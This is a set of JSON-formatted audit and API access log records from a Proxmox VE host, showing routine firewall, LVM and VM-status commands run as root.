- root@pam [20/06/2026:15:28:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965135759,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.759:64309): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61785 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375831,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.831:65341): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965740755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965135751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.751:64308): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61784 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375825,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.825:65340): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965739753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1125"} {"@timestamp":1781965135745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.745:64307): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad81f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61783 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375815,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.815:65339): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965738745,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965135737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.737:64306): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61782 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375810,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.810:65338): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965738745,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965135728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965135.728:64305): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1392e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61781 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375808,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.808:65337): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965737733,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965134860,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965134.860:64304): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dc820 a1=64f8d7409800 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61778 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375807,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.807:65336): argc=1 a0=\"date\""} {"@timestamp":1781965736727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 944"} {"@timestamp":1781965134826,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965134.826:64303): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cac50 a1=64f8d7409ec0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61777 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375799,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.799:65334): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965736727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.904:64302): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61776 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375792,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.792:65333): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965736727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.898:64299): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375785,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.785:65332): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965735727,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965131522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965131.522:64296): arch=c000003e syscall=59 success=yes exit=0 a0=64a7761359f0 a1=64a776130d30 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=61774 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"find\" exe=\"/usr/bin/find\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375779,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.779:65331): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965735727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1125"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965126.887:64295): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375771,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.771:65330): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965734614,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 945"} {"@timestamp":1781965126878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965126.878:64292): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375761,"@rawstring":"node=pve type=EXECVE msg=audit(1781965375.761:65329): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965734614,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965125710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.710:64289): arch=c000003e syscall=59 success=yes exit=0 a0=5c5800abad70 a1=5c5800ac6f80 a2=5c5800a94680 a3=5 items=2 ppid=61765 pid=61771 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965374667,"@rawstring":"node=pve type=EXECVE msg=audit(1781965374.667:65328): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965732705,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 894"} {"@timestamp":1781965125701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.701:64288): arch=c000003e syscall=59 success=yes exit=0 a0=5c57c72bdac8 a1=7ffc5930bb70 a2=5c5800a94680 a3=5c57c72a124e items=2 ppid=61765 pid=61767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965374635,"@rawstring":"node=pve type=EXECVE msg=audit(1781965374.635:65327): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965732705,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.699:64287): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc5930bb30 a1=5c5800ab6410 a2=5c5800a94680 a3=5 items=2 ppid=61765 pid=61766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372784,"@rawstring":"node=pve type=EXECVE msg=audit(1781965372.784:65326): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965732705,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965125692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.692:64285): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372776,"@rawstring":"node=pve type=EXECVE msg=audit(1781965372.776:65323): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965732705,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965125681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.681:64284): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965367767,"@rawstring":"node=pve type=EXECVE msg=audit(1781965367.767:65320): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965730784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965125668,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.668:64283): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965367753,"@rawstring":"node=pve type=EXECVE msg=audit(1781965367.753:65317): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965730784,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781965125656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.656:64282): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61762 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365749,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.749:65314): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965730784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965125641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.641:64281): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61761 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365741,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.741:65313): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966385442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.442:69505): proctitle=\"ebtables-restore\""} {"@timestamp":1781965125636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.636:64280): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=574e092c9740 items=0 ppid=1156 pid=61760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965365739,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.739:65312): argc=1 a0=\"date\""} {"@timestamp":1781966385439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.439:69504): proctitle=\"ebtables-restore\""} {"@timestamp":1781965125633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.633:64279): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0fcbd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365733,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.733:65310): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966385435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.435:69503): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965125627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.627:64278): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eb390 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365725,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.725:65309): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966385430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.430:69502): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965125621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.621:64277): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f8c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365718,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.718:65308): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966385429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.429:69501): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965125611,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.611:64276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2cc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365711,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.711:65307): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966385428,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.428:69500): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965125601,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.601:64275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f8c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61756 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365703,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.703:65306): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966385423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.423:69499): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965125587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.587:64274): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61755 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.695:65304): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966385416,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.416:69498): proctitle=69707365740073617665"} {"@timestamp":1781965125572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.572:64273): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365691,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.691:65303): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966385409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.409:69497): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965125559,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.559:64272): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365685,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.685:65302): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966385402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.402:69496): proctitle=\"ip6tables-save\""} {"@timestamp":1781965125552,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.552:64271): arch=c000003e syscall=59 success=yes exit=0 a0=643a308cbd30 a1=643a308d7b30 a2=643a308a5680 a3=5 items=2 ppid=61746 pid=61752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365679,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.679:65301): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966385396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.396:69495): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965125543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.543:64270): arch=c000003e syscall=59 success=yes exit=0 a0=643a273c5ac8 a1=7ffc380eed80 a2=643a308a5680 a3=643a273a924e items=2 ppid=61746 pid=61748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365673,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.673:65300): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966385390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.390:69494): proctitle=\"iptables-save\""} {"@timestamp":1781965125540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.540:64269): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc380eed40 a1=643a308c73d0 a2=643a308a5680 a3=5 items=2 ppid=61746 pid=61747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365667,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.667:65299): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966385384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.384:69493): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965125530,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.530:64267): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365659,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.659:65298): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966385378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.378:69492): proctitle=\"ip6tables-save\""} {"@timestamp":1781965125506,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.506:64266): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365652,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.652:65297): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966385372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.372:69491): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965125493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.493:64265): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61744 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365648,"@rawstring":"node=pve type=EXECVE msg=audit(1781965365.648:65296): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966385365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966385.365:69490): proctitle=\"iptables-save\""} 